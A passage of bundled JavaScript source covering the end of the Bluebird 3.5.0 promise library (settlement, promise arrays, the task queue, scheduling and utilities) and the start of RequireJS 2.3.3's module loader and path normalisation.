var err = makeSelfResolutionError();
this._attachExtraTrace(err);
return this._reject(err);
}
this._setFulfilled();
this._rejectionHandler0 = value;
if ((bitField & 65535) > 0) {
if (((bitField & 134217728) !== 0)) {
this._settlePromises();
} else {
async.settlePromises(this);
}
}
};
Promise.prototype._reject = function (reason) {
var bitField = this._bitField;
if (((bitField & 117506048) >>> 16)) return;
this._setRejected();
this._fulfillmentHandler0 = reason;
if (this._isFinal()) {
return async.fatalError(reason, util.isNode);
}
if ((bitField & 65535) > 0) {
async.settlePromises(this);
} else {
this._ensurePossibleRejectionHandled();
}
};
Promise.prototype._fulfillPromises = function (len, value) {
for (var i = 1; i < len; i++) {
var handler = this._fulfillmentHandlerAt(i);
var promise = this._promiseAt(i);
var receiver = this._receiverAt(i);
this._clearCallbackDataAtIndex(i);
this._settlePromise(promise, handler, receiver, value);
}
};
Promise.prototype._rejectPromises = function (len, reason) {
for (var i = 1; i < len; i++) {
var handler = this._rejectionHandlerAt(i);
var promise = this._promiseAt(i);
var receiver = this._receiverAt(i);
this._clearCallbackDataAtIndex(i);
this._settlePromise(promise, handler, receiver, reason);
}
};
Promise.prototype._settlePromises = function () {
var bitField = this._bitField;
var len = (bitField & 65535);
if (len > 0) {
if (((bitField & 16842752) !== 0)) {
var reason = this._fulfillmentHandler0;
this._settlePromise0(this._rejectionHandler0, reason, bitField);
this._rejectPromises(len, reason);
} else {
var value = this._rejectionHandler0;
this._settlePromise0(this._fulfillmentHandler0, value, bitField);
this._fulfillPromises(len, value);
}
this._setLength(0);
}
this._clearCancellationData();
};
Promise.prototype._settledValue = function() {
var bitField = this._bitField;
if (((bitField & 33554432) !== 0)) {
return this._rejectionHandler0;
} else if (((bitField & 16777216) !== 0)) {
return this._fulfillmentHandler0;
}
};
function deferResolve(v) {this.promise._resolveCallback(v);}
function deferReject(v) {this.promise._rejectCallback(v, false);}
Promise.defer = Promise.pending = function() {
debug.deprecated("Promise.defer", "new Promise");
var promise = new Promise(INTERNAL);
return {
promise: promise,
resolve: deferResolve,
reject: deferReject
};
};
util.notEnumerableProp(Promise,
"_makeSelfResolutionError",
makeSelfResolutionError);
_dereq_("./method")(Promise, INTERNAL, tryConvertToPromise, apiRejection,
debug);
_dereq_("./bind")(Promise, INTERNAL, tryConvertToPromise, debug);
_dereq_("./cancel")(Promise, PromiseArray, apiRejection, debug);
_dereq_("./direct_resolve")(Promise);
_dereq_("./synchronous_inspection")(Promise);
_dereq_("./join")(
Promise, PromiseArray, tryConvertToPromise, INTERNAL, async, getDomain);
Promise.Promise = Promise;
Promise.version = "3.5.0";
util.toFastProperties(Promise);
util.toFastProperties(Promise.prototype);
function fillTypes(value) {
var p = new Promise(INTERNAL);
p._fulfillmentHandler0 = value;
p._rejectionHandler0 = value;
p._promise0 = value;
p._receiver0 = value;
}
// Complete slack tracking, opt out of field-type tracking and
// stabilize map
fillTypes({a: 1});
fillTypes({b: 2});
fillTypes({c: 3});
fillTypes(1);
fillTypes(function(){});
fillTypes(undefined);
fillTypes(false);
fillTypes(new Promise(INTERNAL));
debug.setBounds(Async.firstLineError, util.lastLineError);
return Promise;
};
},{"./async":1,"./bind":2,"./cancel":4,"./catch_filter":5,"./context":6,"./debuggability":7,"./direct_resolve":8,"./errors":9,"./es5":10,"./finally":11,"./join":12,"./method":13,"./nodeback":14,"./promise_array":16,"./synchronous_inspection":19,"./thenables":20,"./util":21}],16:[function(_dereq_,module,exports){
"use strict";
module.exports = function(Promise, INTERNAL, tryConvertToPromise,
apiRejection, Proxyable) {
var util = _dereq_("./util");
var isArray = util.isArray;
function toResolutionValue(val) {
switch(val) {
case -2: return [];
case -3: return {};
case -6: return new Map();
}
}
function PromiseArray(values) {
var promise = this._promise = new Promise(INTERNAL);
if (values instanceof Promise) {
promise._propagateFrom(values, 3);
}
promise._setOnCancel(this);
this._values = values;
this._length = 0;
this._totalResolved = 0;
this._init(undefined, -2);
}
util.inherits(PromiseArray, Proxyable);
PromiseArray.prototype.length = function () {
return this._length;
};
PromiseArray.prototype.promise = function () {
return this._promise;
};
PromiseArray.prototype._init = function init(_, resolveValueIfEmpty) {
var values = tryConvertToPromise(this._values, this._promise);
if (values instanceof Promise) {
values = values._target();
var bitField = values._bitField;
;
this._values = values;
if (((bitField & 50397184) === 0)) {
this._promise._setAsyncGuaranteed();
return values._then(
init,
this._reject,
undefined,
this,
resolveValueIfEmpty
);
} else if (((bitField & 33554432) !== 0)) {
values = values._value();
} else if (((bitField & 16777216) !== 0)) {
return this._reject(values._reason());
} else {
return this._cancel();
}
}
values = util.asArray(values);
if (values === null) {
var err = apiRejection(
"expecting an array or an iterable object but got " + util.classString(values)).reason();
this._promise._rejectCallback(err, false);
return;
}
if (values.length === 0) {
if (resolveValueIfEmpty === -5) {
this._resolveEmptyArray();
}
else {
this._resolve(toResolutionValue(resolveValueIfEmpty));
}
return;
}
this._iterate(values);
};
PromiseArray.prototype._iterate = function(values) {
var len = this.getActualLength(values.length);
this._length = len;
this._values = this.shouldCopyValues() ? new Array(len) : this._values;
var result = this._promise;
var isResolved = false;
var bitField = null;
for (var i = 0; i < len; ++i) {
var maybePromise = tryConvertToPromise(values[i], result);
if (maybePromise instanceof Promise) {
maybePromise = maybePromise._target();
bitField = maybePromise._bitField;
} else {
bitField = null;
}
if (isResolved) {
if (bitField !== null) {
maybePromise.suppressUnhandledRejections();
}
} else if (bitField !== null) {
if (((bitField & 50397184) === 0)) {
maybePromise._proxy(this, i);
this._values[i] = maybePromise;
} else if (((bitField & 33554432) !== 0)) {
isResolved = this._promiseFulfilled(maybePromise._value(), i);
} else if (((bitField & 16777216) !== 0)) {
isResolved = this._promiseRejected(maybePromise._reason(), i);
} else {
isResolved = this._promiseCancelled(i);
}
} else {
isResolved = this._promiseFulfilled(maybePromise, i);
}
}
if (!isResolved) result._setAsyncGuaranteed();
};
PromiseArray.prototype._isResolved = function () {
return this._values === null;
};
PromiseArray.prototype._resolve = function (value) {
this._values = null;
this._promise._fulfill(value);
};
PromiseArray.prototype._cancel = function() {
if (this._isResolved() || !this._promise._isCancellable()) return;
this._values = null;
this._promise._cancel();
};
PromiseArray.prototype._reject = function (reason) {
this._values = null;
this._promise._rejectCallback(reason, false);
};
PromiseArray.prototype._promiseFulfilled = function (value, index) {
this._values[index] = value;
var totalResolved = ++this._totalResolved;
if (totalResolved >= this._length) {
this._resolve(this._values);
return true;
}
return false;
};
PromiseArray.prototype._promiseCancelled = function() {
this._cancel();
return true;
};
PromiseArray.prototype._promiseRejected = function (reason) {
this._totalResolved++;
this._reject(reason);
return true;
};
PromiseArray.prototype._resultCancelled = function() {
if (this._isResolved()) return;
var values = this._values;
this._cancel();
if (values instanceof Promise) {
values.cancel();
} else {
for (var i = 0; i < values.length; ++i) {
if (values[i] instanceof Promise) {
values[i].cancel();
}
}
}
};
PromiseArray.prototype.shouldCopyValues = function () {
return true;
};
PromiseArray.prototype.getActualLength = function (len) {
return len;
};
return PromiseArray;
};
},{"./util":21}],17:[function(_dereq_,module,exports){
"use strict";
function arrayMove(src, srcIndex, dst, dstIndex, len) {
for (var j = 0; j < len; ++j) {
dst[j + dstIndex] = src[j + srcIndex];
src[j + srcIndex] = void 0;
}
}
function Queue(capacity) {
this._capacity = capacity;
this._length = 0;
this._front = 0;
}
Queue.prototype._willBeOverCapacity = function (size) {
return this._capacity < size;
};
Queue.prototype._pushOne = function (arg) {
var length = this.length();
this._checkCapacity(length + 1);
var i = (this._front + length) & (this._capacity - 1);
this[i] = arg;
this._length = length + 1;
};
Queue.prototype.push = function (fn, receiver, arg) {
var length = this.length() + 3;
if (this._willBeOverCapacity(length)) {
this._pushOne(fn);
this._pushOne(receiver);
this._pushOne(arg);
return;
}
var j = this._front + length - 3;
this._checkCapacity(length);
var wrapMask = this._capacity - 1;
this[(j + 0) & wrapMask] = fn;
this[(j + 1) & wrapMask] = receiver;
this[(j + 2) & wrapMask] = arg;
this._length = length;
};
Queue.prototype.shift = function () {
var front = this._front,
ret = this[front];
this[front] = undefined;
this._front = (front + 1) & (this._capacity - 1);
this._length--;
return ret;
};
Queue.prototype.length = function () {
return this._length;
};
Queue.prototype._checkCapacity = function (size) {
if (this._capacity < size) {
this._resizeTo(this._capacity << 1);
}
};
Queue.prototype._resizeTo = function (capacity) {
var oldCapacity = this._capacity;
this._capacity = capacity;
var front = this._front;
var length = this._length;
var moveItemsCount = (front + length) & (oldCapacity - 1);
arrayMove(this, 0, this, oldCapacity, moveItemsCount);
};
module.exports = Queue;
},{}],18:[function(_dereq_,module,exports){
"use strict";
var util = _dereq_("./util");
var schedule;
var noAsyncScheduler = function() {
throw new Error("No async scheduler available\u000a\u000a See http://goo.gl/MqrFmX\u000a");
};
var NativePromise = util.getNativePromise();
if (util.isNode && typeof MutationObserver === "undefined") {
var GlobalSetImmediate = global.setImmediate;
var ProcessNextTick = process.nextTick;
schedule = util.isRecentNode
? function(fn) { GlobalSetImmediate.call(global, fn); }
: function(fn) { ProcessNextTick.call(process, fn); };
} else if (typeof NativePromise === "function" &&
typeof NativePromise.resolve === "function") {
var nativePromise = NativePromise.resolve();
schedule = function(fn) {
nativePromise.then(fn);
};
} else if ((typeof MutationObserver !== "undefined") &&
!(typeof window !== "undefined" &&
window.navigator &&
(window.navigator.standalone || window.cordova))) {
schedule = (function() {
var div = document.createElement("div");
var opts = {attributes: true};
var toggleScheduled = false;
var div2 = document.createElement("div");
var o2 = new MutationObserver(function() {
div.classList.toggle("foo");
toggleScheduled = false;
});
o2.observe(div2, opts);
var scheduleToggle = function() {
if (toggleScheduled) return;
toggleScheduled = true;
div2.classList.toggle("foo");
};
return function schedule(fn) {
var o = new MutationObserver(function() {
o.disconnect();
fn();
});
o.observe(div, opts);
scheduleToggle();
};
})();
} else if (typeof setImmediate !== "undefined") {
schedule = function (fn) {
setImmediate(fn);
};
} else if (typeof setTimeout !== "undefined") {
schedule = function (fn) {
setTimeout(fn, 0);
};
} else {
schedule = noAsyncScheduler;
}
module.exports = schedule;
},{"./util":21}],19:[function(_dereq_,module,exports){
"use strict";
module.exports = function(Promise) {
function PromiseInspection(promise) {
if (promise !== undefined) {
promise = promise._target();
this._bitField = promise._bitField;
this._settledValueField = promise._isFateSealed()
? promise._settledValue() : undefined;
}
else {
this._bitField = 0;
this._settledValueField = undefined;
}
}
PromiseInspection.prototype._settledValue = function() {
return this._settledValueField;
};
var value = PromiseInspection.prototype.value = function () {
if (!this.isFulfilled()) {
throw new TypeError("cannot get fulfillment value of a non-fulfilled promise\u000a\u000a See http://goo.gl/MqrFmX\u000a");
}
return this._settledValue();
};
var reason = PromiseInspection.prototype.error =
PromiseInspection.prototype.reason = function () {
if (!this.isRejected()) {
throw new TypeError("cannot get rejection reason of a non-rejected promise\u000a\u000a See http://goo.gl/MqrFmX\u000a");
}
return this._settledValue();
};
var isFulfilled = PromiseInspection.prototype.isFulfilled = function() {
return (this._bitField & 33554432) !== 0;
};
var isRejected = PromiseInspection.prototype.isRejected = function () {
return (this._bitField & 16777216) !== 0;
};
var isPending = PromiseInspection.prototype.isPending = function () {
return (this._bitField & 50397184) === 0;
};
var isResolved = PromiseInspection.prototype.isResolved = function () {
return (this._bitField & 50331648) !== 0;
};
PromiseInspection.prototype.isCancelled = function() {
return (this._bitField & 8454144) !== 0;
};
Promise.prototype.__isCancelled = function() {
return (this._bitField & 65536) === 65536;
};
Promise.prototype._isCancelled = function() {
return this._target().__isCancelled();
};
Promise.prototype.isCancelled = function() {
return (this._target()._bitField & 8454144) !== 0;
};
Promise.prototype.isPending = function() {
return isPending.call(this._target());
};
Promise.prototype.isRejected = function() {
return isRejected.call(this._target());
};
Promise.prototype.isFulfilled = function() {
return isFulfilled.call(this._target());
};
Promise.prototype.isResolved = function() {
return isResolved.call(this._target());
};
Promise.prototype.value = function() {
return value.call(this._target());
};
Promise.prototype.reason = function() {
var target = this._target();
target._unsetRejectionIsUnhandled();
return reason.call(target);
};
Promise.prototype._value = function() {
return this._settledValue();
};
Promise.prototype._reason = function() {
this._unsetRejectionIsUnhandled();
return this._settledValue();
};
Promise.PromiseInspection = PromiseInspection;
};
},{}],20:[function(_dereq_,module,exports){
"use strict";
module.exports = function(Promise, INTERNAL) {
var util = _dereq_("./util");
var errorObj = util.errorObj;
var isObject = util.isObject;
function tryConvertToPromise(obj, context) {
if (isObject(obj)) {
if (obj instanceof Promise) return obj;
var then = getThen(obj);
if (then === errorObj) {
if (context) context._pushContext();
var ret = Promise.reject(then.e);
if (context) context._popContext();
return ret;
} else if (typeof then === "function") {
if (isAnyBluebirdPromise(obj)) {
var ret = new Promise(INTERNAL);
obj._then(
ret._fulfill,
ret._reject,
undefined,
ret,
null
);
return ret;
}
return doThenable(obj, then, context);
}
}
return obj;
}
function doGetThen(obj) {
return obj.then;
}
function getThen(obj) {
try {
return doGetThen(obj);
} catch (e) {
errorObj.e = e;
return errorObj;
}
}
var hasProp = {}.hasOwnProperty;
function isAnyBluebirdPromise(obj) {
try {
return hasProp.call(obj, "_promise0");
} catch (e) {
return false;
}
}
function doThenable(x, then, context) {
var promise = new Promise(INTERNAL);
var ret = promise;
if (context) context._pushContext();
promise._captureStackTrace();
if (context) context._popContext();
var synchronous = true;
var result = util.tryCatch(then).call(x, resolve, reject);
synchronous = false;
if (promise && result === errorObj) {
promise._rejectCallback(result.e, true, true);
promise = null;
}
function resolve(value) {
if (!promise) return;
promise._resolveCallback(value);
promise = null;
}
function reject(reason) {
if (!promise) return;
promise._rejectCallback(reason, synchronous, true);
promise = null;
}
return ret;
}
return tryConvertToPromise;
};
},{"./util":21}],21:[function(_dereq_,module,exports){
"use strict";
var es5 = _dereq_("./es5");
var canEvaluate = typeof navigator == "undefined";
var errorObj = {e: {}};
var tryCatchTarget;
var globalObject = typeof self !== "undefined" ? self :
typeof window !== "undefined" ? window :
typeof global !== "undefined" ? global :
this !== undefined ? this : null;
function tryCatcher() {
try {
var target = tryCatchTarget;
tryCatchTarget = null;
return target.apply(this, arguments);
} catch (e) {
errorObj.e = e;
return errorObj;
}
}
function tryCatch(fn) {
tryCatchTarget = fn;
return tryCatcher;
}
var inherits = function(Child, Parent) {
var hasProp = {}.hasOwnProperty;
function T() {
this.constructor = Child;
this.constructor$ = Parent;
for (var propertyName in Parent.prototype) {
if (hasProp.call(Parent.prototype, propertyName) &&
propertyName.charAt(propertyName.length-1) !== "$"
) {
this[propertyName + "$"] = Parent.prototype[propertyName];
}
}
}
T.prototype = Parent.prototype;
Child.prototype = new T();
return Child.prototype;
};
function isPrimitive(val) {
return val == null || val === true || val === false ||
typeof val === "string" || typeof val === "number";
}
function isObject(value) {
return typeof value === "function" ||
typeof value === "object" && value !== null;
}
function maybeWrapAsError(maybeError) {
if (!isPrimitive(maybeError)) return maybeError;
return new Error(safeToString(maybeError));
}
function withAppended(target, appendee) {
var len = target.length;
var ret = new Array(len + 1);
var i;
for (i = 0; i < len; ++i) {
ret[i] = target[i];
}
ret[i] = appendee;
return ret;
}
function getDataPropertyOrDefault(obj, key, defaultValue) {
if (es5.isES5) {
var desc = Object.getOwnPropertyDescriptor(obj, key);
if (desc != null) {
return desc.get == null && desc.set == null
? desc.value
: defaultValue;
}
} else {
return {}.hasOwnProperty.call(obj, key) ? obj[key] : undefined;
}
}
function notEnumerableProp(obj, name, value) {
if (isPrimitive(obj)) return obj;
var descriptor = {
value: value,
configurable: true,
enumerable: false,
writable: true
};
es5.defineProperty(obj, name, descriptor);
return obj;
}
function thrower(r) {
throw r;
}
var inheritedDataKeys = (function() {
var excludedPrototypes = [
Array.prototype,
Object.prototype,
Function.prototype
];
var isExcludedProto = function(val) {
for (var i = 0; i < excludedPrototypes.length; ++i) {
if (excludedPrototypes[i] === val) {
return true;
}
}
return false;
};
if (es5.isES5) {
var getKeys = Object.getOwnPropertyNames;
return function(obj) {
var ret = [];
var visitedKeys = Object.create(null);
while (obj != null && !isExcludedProto(obj)) {
var keys;
try {
keys = getKeys(obj);
} catch (e) {
return ret;
}
for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
if (visitedKeys[key]) continue;
visitedKeys[key] = true;
var desc = Object.getOwnPropertyDescriptor(obj, key);
if (desc != null && desc.get == null && desc.set == null) {
ret.push(key);
}
}
obj = es5.getPrototypeOf(obj);
}
return ret;
};
} else {
var hasProp = {}.hasOwnProperty;
return function(obj) {
if (isExcludedProto(obj)) return [];
var ret = [];
/*jshint forin:false */
enumeration: for (var key in obj) {
if (hasProp.call(obj, key)) {
ret.push(key);
} else {
for (var i = 0; i < excludedPrototypes.length; ++i) {
if (hasProp.call(excludedPrototypes[i], key)) {
continue enumeration;
}
}
ret.push(key);
}
}
return ret;
};
}
})();
var thisAssignmentPattern = /this\s*\.\s*\S+\s*=/;
function isClass(fn) {
try {
if (typeof fn === "function") {
var keys = es5.names(fn.prototype);
var hasMethods = es5.isES5 && keys.length > 1;
var hasMethodsOtherThanConstructor = keys.length > 0 &&
!(keys.length === 1 && keys[0] === "constructor");
var hasThisAssignmentAndStaticMethods =
thisAssignmentPattern.test(fn + "") && es5.names(fn).length > 0;
if (hasMethods || hasMethodsOtherThanConstructor ||
hasThisAssignmentAndStaticMethods) {
return true;
}
}
return false;
} catch (e) {
return false;
}
}
function toFastProperties(obj) {
/*jshint -W027,-W055,-W031*/
function FakeConstructor() {}
FakeConstructor.prototype = obj;
var l = 8;
while (l--) new FakeConstructor();
return obj;
eval(obj);
}
var rident = /^[a-z$_][a-z$_0-9]*$/i;
function isIdentifier(str) {
return rident.test(str);
}
function filledRange(count, prefix, suffix) {
var ret = new Array(count);
for(var i = 0; i < count; ++i) {
ret[i] = prefix + i + suffix;
}
return ret;
}
function safeToString(obj) {
try {
return obj + "";
} catch (e) {
return "[no string representation]";
}
}
function isError(obj) {
return obj !== null &&
typeof obj === "object" &&
typeof obj.message === "string" &&
typeof obj.name === "string";
}
function markAsOriginatingFromRejection(e) {
try {
notEnumerableProp(e, "isOperational", true);
}
catch(ignore) {}
}
function originatesFromRejection(e) {
if (e == null) return false;
return ((e instanceof Error["__BluebirdErrorTypes__"].OperationalError) ||
e["isOperational"] === true);
}
function canAttachTrace(obj) {
return isError(obj) && es5.propertyIsWritable(obj, "stack");
}
var ensureErrorObject = (function() {
if (!("stack" in new Error())) {
return function(value) {
if (canAttachTrace(value)) return value;
try {throw new Error(safeToString(value));}
catch(err) {return err;}
};
} else {
return function(value) {
if (canAttachTrace(value)) return value;
return new Error(safeToString(value));
};
}
})();
function classString(obj) {
return {}.toString.call(obj);
}
function copyDescriptors(from, to, filter) {
var keys = es5.names(from);
for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
if (filter(key)) {
try {
es5.defineProperty(to, key, es5.getDescriptor(from, key));
} catch (ignore) {}
}
}
}
var asArray = function(v) {
if (es5.isArray(v)) {
return v;
}
return null;
};
if (typeof Symbol !== "undefined" && Symbol.iterator) {
var ArrayFrom = typeof Array.from === "function" ? function(v) {
return Array.from(v);
} : function(v) {
var ret = [];
var it = v[Symbol.iterator]();
var itResult;
while (!((itResult = it.next()).done)) {
ret.push(itResult.value);
}
return ret;
};
asArray = function(v) {
if (es5.isArray(v)) {
return v;
} else if (v != null && typeof v[Symbol.iterator] === "function") {
return ArrayFrom(v);
}
return null;
};
}
var isNode = typeof process !== "undefined" &&
classString(process).toLowerCase() === "[object process]";
var hasEnvVariables = typeof process !== "undefined" &&
typeof process.env !== "undefined";
function env(key) {
return hasEnvVariables ? process.env[key] : undefined;
}
function getNativePromise() {
if (typeof Promise === "function") {
try {
var promise = new Promise(function(){});
if ({}.toString.call(promise) === "[object Promise]") {
return Promise;
}
} catch (e) {}
}
}
function domainBind(self, cb) {
return self.bind(cb);
}
var ret = {
isClass: isClass,
isIdentifier: isIdentifier,
inheritedDataKeys: inheritedDataKeys,
getDataPropertyOrDefault: getDataPropertyOrDefault,
thrower: thrower,
isArray: es5.isArray,
asArray: asArray,
notEnumerableProp: notEnumerableProp,
isPrimitive: isPrimitive,
isObject: isObject,
isError: isError,
canEvaluate: canEvaluate,
errorObj: errorObj,
tryCatch: tryCatch,
inherits: inherits,
withAppended: withAppended,
maybeWrapAsError: maybeWrapAsError,
toFastProperties: toFastProperties,
filledRange: filledRange,
toString: safeToString,
canAttachTrace: canAttachTrace,
ensureErrorObject: ensureErrorObject,
originatesFromRejection: originatesFromRejection,
markAsOriginatingFromRejection: markAsOriginatingFromRejection,
classString: classString,
copyDescriptors: copyDescriptors,
hasDevTools: typeof chrome !== "undefined" && chrome &&
typeof chrome.loadTimes === "function",
isNode: isNode,
hasEnvVariables: hasEnvVariables,
env: env,
global: globalObject,
getNativePromise: getNativePromise,
domainBind: domainBind
};
ret.isRecentNode = ret.isNode && (function() {
var version = process.versions.node.split(".").map(Number);
return (version[0] === 0 && version[1] > 10) || (version[0] > 0);
})();
if (ret.isNode) ret.toFastProperties(process);
try {throw new Error(); } catch (e) {ret.lastLineError = e;}
module.exports = ret;
},{"./es5":10}]},{},[3])(3)
}); ;if (typeof window !== 'undefined' && window !== null) { window.P = window.Promise; } else if (typeof self !== 'undefined' && self !== null) { self.P = self.Promise; }
/** vim: et:ts=4:sw=4:sts=4
* @license RequireJS 2.3.3 Copyright jQuery Foundation and other contributors.
* Released under MIT license, https://github.com/requirejs/requirejs/blob/master/LICENSE
*/
//Not using strict: uneven strict support in browsers, #392, and causes
//problems with requirejs.exec()/transpiler plugins that may not be strict.
/*jslint regexp: true, nomen: true, sloppy: true */
/*global window, navigator, document, importScripts, setTimeout, opera */
var requirejs, require, define;
(function (global, setTimeout) {
var req, s, head, baseElement, dataMain, src,
interactiveScript, currentlyAddingScript, mainScript, subPath,
version = '2.3.3',
commentRegExp = /\/\*[\s\S]*?\*\/|([^:"'=]|^)\/\/.*$/mg,
cjsRequireRegExp = /[^.]\s*require\s*\(\s*["']([^'"\s]+)["']\s*\)/g,
jsSuffixRegExp = /\.js$/,
currDirRegExp = /^\.\//,
op = Object.prototype,
ostring = op.toString,
hasOwn = op.hasOwnProperty,
isBrowser = !!(typeof window !== 'undefined' && typeof navigator !== 'undefined' && window.document),
isWebWorker = !isBrowser && typeof importScripts !== 'undefined',
//PS3 indicates loaded and complete, but need to wait for complete
//specifically. Sequence is 'loading', 'loaded', execution,
// then 'complete'. The UA check is unfortunate, but not sure how
//to feature test w/o causing perf issues.
readyRegExp = isBrowser && navigator.platform === 'PLAYSTATION 3' ?
/^complete$/ : /^(complete|loaded)$/,
defContextName = '_',
//Oh the tragedy, detecting opera. See the usage of isOpera for reason.
isOpera = typeof opera !== 'undefined' && opera.toString() === '[object Opera]',
contexts = {},
cfg = {},
globalDefQueue = [],
useInteractive = false;
//Could match something like ')//comment', do not lose the prefix to comment.
function commentReplace(match, singlePrefix) {
return singlePrefix || '';
}
function isFunction(it) {
return ostring.call(it) === '[object Function]';
}
function isArray(it) {
return ostring.call(it) === '[object Array]';
}
/**
* Helper function for iterating over an array. If the func returns
* a true value, it will break out of the loop.
*/
function each(ary, func) {
if (ary) {
var i;
for (i = 0; i < ary.length; i += 1) {
if (ary[i] && func(ary[i], i, ary)) {
break;
}
}
}
}
/**
* Helper function for iterating over an array backwards. If the func
* returns a true value, it will break out of the loop.
*/
function eachReverse(ary, func) {
if (ary) {
var i;
for (i = ary.length - 1; i > -1; i -= 1) {
if (ary[i] && func(ary[i], i, ary)) {
break;
}
}
}
}
function hasProp(obj, prop) {
return hasOwn.call(obj, prop);
}
function getOwn(obj, prop) {
return hasProp(obj, prop) && obj[prop];
}
/**
* Cycles over properties in an object and calls a function for each
* property value. If the function returns a truthy value, then the
* iteration is stopped.
*/
function eachProp(obj, func) {
var prop;
for (prop in obj) {
if (hasProp(obj, prop)) {
if (func(obj[prop], prop)) {
break;
}
}
}
}
/**
* Simple function to mix in properties from source into target,
* but only if target does not already have a property of the same name.
*/
function mixin(target, source, force, deepStringMixin) {
if (source) {
eachProp(source, function (value, prop) {
if (force || !hasProp(target, prop)) {
if (deepStringMixin && typeof value === 'object' && value &&
!isArray(value) && !isFunction(value) &&
!(value instanceof RegExp)) {
if (!target[prop]) {
target[prop] = {};
}
mixin(target[prop], value, force, deepStringMixin);
} else {
target[prop] = value;
}
}
});
}
return target;
}
//Similar to Function.prototype.bind, but the 'this' object is specified
//first, since it is easier to read/figure out what 'this' will be.
function bind(obj, fn) {
return function () {
return fn.apply(obj, arguments);
};
}
function scripts() {
return document.getElementsByTagName('script');
}
function defaultOnError(err) {
throw err;
}
//Allow getting a global that is expressed in
//dot notation, like 'a.b.c'.
function getGlobal(value) {
if (!value) {
return value;
}
var g = global;
each(value.split('.'), function (part) {
g = g[part];
});
return g;
}
/**
* Constructs an error with a pointer to an URL with more information.
* @param {String} id the error ID that maps to an ID on a web page.
* @param {String} message human readable error.
* @param {Error} [err] the original error, if there is one.
*
* @returns {Error}
*/
function makeError(id, msg, err, requireModules) {
var e = new Error(msg + '\nhttp://requirejs.org/docs/errors.html#' + id);
e.requireType = id;
e.requireModules = requireModules;
if (err) {
e.originalError = err;
}
return e;
}
if (typeof define !== 'undefined') {
//If a define is already in play via another AMD loader,
//do not overwrite.
return;
}
if (typeof requirejs !== 'undefined') {
if (isFunction(requirejs)) {
//Do not overwrite an existing requirejs instance.
return;
}
cfg = requirejs;
requirejs = undefined;
}
//Allow for a require config object
if (typeof require !== 'undefined' && !isFunction(require)) {
//assume it is a config object.
cfg = require;
require = undefined;
}
function newContext(contextName) {
var inCheckLoaded, Module, context, handlers,
checkLoadedTimeoutId,
config = {
//Defaults. Do not set a default for map
//config to speed up normalize(), which
//will run faster if there is no default.
waitSeconds: 7,
baseUrl: './',
paths: {},
bundles: {},
pkgs: {},
shim: {},
config: {}
},
registry = {},
//registry of just enabled modules, to speed
//cycle breaking code when lots of modules
//are registered, but not activated.
enabledRegistry = {},
undefEvents = {},
defQueue = [],
defined = {},
urlFetched = {},
bundlesMap = {},
requireCounter = 1,
unnormalizedCounter = 1;
/**
* Trims the . and .. from an array of path segments.
* It will keep a leading path segment if a .. will become
* the first path segment, to help with module name lookups,
* which act like paths, but can be remapped. But the end result,
* all paths that use this function should look normalized.
* NOTE: this method MODIFIES the input array.
* @param {Array} ary the array of path segments.
*/
function trimDots(ary) {
var i, part;
for (i = 0; i < ary.length; i++) {
part = ary[i];
if (part === '.') {
ary.splice(i, 1);
i -= 1;
} else if (part === '..') {
// If at the start, or previous value is still ..,
// keep them so that when converted to a path it may
// still work when converted to a path, even though
// as an ID it is less than ideal. In larger point
// releases, may be better to just kick out an error.
if (i === 0 || (i === 1 && ary[2] === '..') || ary[i - 1] === '..') {
continue;
} else if (i > 0) {
ary.splice(i - 1, 2);
i -= 2;
}
}
}
}
/**
* Given a relative module name, like ./something, normalize it to
* a real name that can be mapped to a path.
* @param {String} name the relative name
* @param {String} baseName a real name that the name arg is relative
* to.
* @param {Boolean} applyMap apply the map config to the value. Should
* only be done if this normalization is for a dependency ID.
* @returns {String} normalized name
*/
function normalize(name, baseName, applyMap) {
var pkgMain, mapValue, nameParts, i, j, nameSegment, lastIndex,
foundMap, foundI, foundStarMap, starI, normalizedBaseParts,
baseParts = (baseName && baseName.split('/')),
map = config.map,
starMap = map && map['*'];
//Adjust any relative paths.
if (name) {
name = name.split('/');
lastIndex = name.length - 1;
// If wanting node ID compatibility, strip .js from end
// of IDs. Have to do this here, and not in nameToUrl
// because node allows either .js or non .js to map
// to same file.
if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) {
name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, '');
}
// Starts with a '.' so need the baseName
if (name[0].charAt(0) === '.' && baseParts) {
//Convert baseName to array, and lop off the last part,
//so that . matches that 'directory' and not name of the baseName's
//module. For instance, baseName of 'one/two/three', maps to
//'one/two/three.js', but we want the directory, 'one/two' for
//this normalization.
normalizedBaseParts = baseParts.slice(0, baseParts.length - 1);
name = normalizedBaseParts.concat(name);
}
trimDots(name);
name = name.join('/');
}
//Apply map config if available.
if (applyMap && map && (baseParts || starMap)) {
nameParts = name.split('/');
outerLoop: for (i = nameParts.length; i > 0; i -= 1) {
nameSegment = nameParts.slice(0, i).join('/');
if (baseParts) {
//Find the longest baseName segment match in the config.
//So, do joins on the biggest to smallest lengths of baseParts.
for (j = baseParts.length; j > 0; j -= 1) {
mapValue = getOwn(map, baseParts.slice(0, j).join('/'));
//baseName segment has config, find if it has one for
//this name.
if (mapValue) {
mapValue = getOwn(mapValue, nameSegment);
if (mapValue) {
//Match, update name to the new value.
foundMap = mapValue;
foundI = i;
break outerLoop;
}
}
}
}
//Check for a star map match, but just hold on to it,
//if there is a shorter segment match later in a matching
//config, then favor over this star map.
if (!foundStarMap && starMap && getOwn(starMap, nameSegment)) {
foundStarMap = getOwn(starMap, nameSegment);
starI = i;
}
}
if (!foundMap && foundStarMap) {
foundMap = foundStarMap;
foundI = starI;
}
if (foundMap) {
nameParts.splice(0, foundI, foundMap);
name = nameParts.join('/');
}
}
// If the name points to a package's name, use
// the package main instead.
pkgMain = getOwn(config.pkgs, name);
return pkgMain ? pkgMain : name;
}
function removeScript(name) {
if (isBrowser) {
each(scripts(), function (scriptNode) {
if (scriptNode.getAttribute('data-requiremodule') === name &&
scriptNode.getAttribute('data-requirecontext') === context.contextName) {
scriptNode.parentNode.removeChild(scriptNode);
return true;
}
});
}
}
function hasPathFallback(id) {
var pathConfig = getOwn(config.paths, id);
if (pathConfig && isArray(pathConfig) && pathConfig.length > 1) {
//Pop off the first array value, since it failed, and
//retry
pathConfig.shift();
context.require.undef(id);
//Custom require that does not do map translation, since
//ID is "absolute", already mapped/resolved.
context.makeRequire(null, {
skipMap: true
})([id]);
return true;
}
}
//Turns a plugin!resource to [plugin, resource]
//with the plugin being undefined if the name
